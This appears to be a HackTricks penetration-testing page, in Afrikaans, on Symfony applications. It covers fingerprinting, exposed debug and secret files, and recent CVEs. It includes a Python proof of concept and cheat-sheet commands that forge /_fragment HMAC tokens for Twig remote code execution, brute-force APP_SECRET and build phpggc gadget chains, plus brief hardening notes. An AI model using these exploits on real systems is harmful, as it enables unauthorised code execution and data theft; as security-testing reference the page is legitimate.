Symfony

Reading time: 6 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Symfony is een van die mees gebruikte PHP-raamwerke en verskyn gereeld in assesserings van ondernemings, e-handel en CMS-teikens (Drupal, Shopware, Ibexa, OroCRM 
 almal inkorporeer Symfony-komponente). Hierdie bladsy versamel offensiewe wenke, algemene mis-konfigurasies en onlangse kwesbaarhede wat jy op jou kontrolelys moet hĂȘ wanneer jy 'n Symfony-toepassing ontdek.

Historiese nota: 'n Groot deel van die ekosisteem loop steeds die 5.4 LTS tak (EOL November 2025). Verifieer altyd die presiese klein weergawe omdat baie 2023-2025 sekuriteitsadvies slegs in patch-vrystellings reggestel is (bv. 5.4.46 → 5.4.50).


Recon & Enumeration

Finger-printing

  • HTTP-responskoptekste: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link of koekies wat begin met sf_redirect, sf_session, MOCKSESSID.
  • Bronkode lekkasies (composer.json, composer.lock, /vendor/
) onthul dikwels die presiese weergawe:
bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Publieke roetes wat slegs op Symfony bestaan:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (mooi foutbladsye)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith of ffuf/feroxbuster woordlyste: symfony.txt → soek vir /_fragment, /_profiler, .env, .htaccess.

Interessante lĂȘers & eindpunte

PadWaarom dit belangrik is
/.env, /.env.local, /.env.prodGereeld verkeerd ontplooi → lek APP_SECRET, DB krediete, SMTP, AWS sleutels
/.git, .svn, .hgBronontdekking → krediete + besigheidslogika
/var/log/*.log, /log/dev.logWeb-root mis-konfigurasie stel stap-spore bloot
/_profilerVolledige versoekgeskiedenis, konfigurasie, dienshouer, APP_SECRET (≀ 3.4)
/_fragmentToegangspunt gebruik deur ESI/HInclude. Misbruik moontlik sodra jy APP_SECRET ken
/vendor/phpunit/phpunit/phpunitPHPUnit RCE as dit toeganklik is (CVE-2017-9841)
/index.php/_error/{code}Finger-print & soms lek uitsondering spore

Hoë-impak Kwesbaarhede (2023-2025)

1. APP_SECRET lekkasie ➜ RCE via /_fragment (ook bekend as “secret-fragment”)

  • CVE-2019-18889 oorspronklik, maar nog steeds op moderne teikens wanneer debug aangeskakel bly of .env blootgestel is.
  • Sodra jy die 32-karakter APP_SECRET ken, stel 'n HMAC-token op en misbruik die interne render() kontroller om arbitrĂȘre Twig uit te voer:
python
# PoC – vereis die geheim
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef
')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Uitstekende skrywe en uitbuitingskrip: Ambionics blog (verbind in Verwysings).

2. Windows Proses Hijack – CVE-2024-51736

  • Die Process komponent het die huidige werksgids voor PATH op Windows gesoek. 'n Aanvaller wat in staat is om tar.exe, cmd.exe, ens. in 'n skryfbare web-root op te laai en Process te aktiveer (bv. lĂȘeronttrekking, PDF-generasie) verkry opdraguitvoering.
  • Gepatch in 5.4.50, 6.4.14, 7.1.7.

3. Sessie-Fiksasie – CVE-2023-46733

  • Die outentikasie wag het 'n bestaande sessie-ID hergebruik na aanmelding. As 'n aanvaller die koekie voor die slagoffer outentiseer, steel hulle die rekening na aanmelding.

4. Twig sandbox XSS – CVE-2023-46734

  • In toepassings wat gebruikersbeheerde sjablone blootstel (admin CMS, e-pos bouer) kan die nl2br filter misbruik word om die sandbox te omseil en JS in te voeg.

5. Symfony 1 gadget kettings (nog steeds in erfenistoepassings gevind)

  • phpggc symfony/1 system id produseer 'n Phar payload wat RCE aktiveer wanneer 'n unserialize() op klasse soos sfNamespacedParameterHolder gebeur. Kontroleer lĂȘer-oplaai eindpunte en phar:// wrappers.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Bereken HMAC-token vir /_fragment

bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef
 "template=@App/evil&filter=raw&_format=html"

Bruteforce swak APP_SECRET

bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via exposed Symfony Console

As bin/console bereikbaar is deur php-fpm of direkte CLI opgelaai:

bash
php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Gebruik deserialisering gadgets binne die kasgids of skryf 'n kwaadwillige Twig-sjabloon wat op die volgende versoek uitgevoer sal word.


Verdedigende notas

  1. Moet nooit debug ontplooi (APP_ENV=dev, APP_DEBUG=1) na produksie nie; blokkeer /app_dev.php, /_profiler, /_wdt in die web-bediener konfigurasie.
  2. Stoor geheime in omgewingsveranderlikes of vault/secrets.local.php, nooit in lĂȘers wat deur die dokument-wortel toeganklik is.
  3. Handhaaf patch bestuur – teken in op Symfony sekuriteitsadvies en hou ten minste die LTS patch-vlak.
  4. As jy op Windows loop, werk onmiddellik op om CVE-2024-51736 te verminder of voeg 'n open_basedir/disable_functions verdediging-in-diepte by.

Nuttige offensiewe gereedskap

  • ambionics/symfony-exploits – geheim-fragment RCE, debugger roetes ontdekking.
  • phpggc – Klaar-gemaakte gadget kettings vir Symfony 1 & 2.
  • sf-encoder – klein helper om _fragment HMAC te bereken (Go implementasie).

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks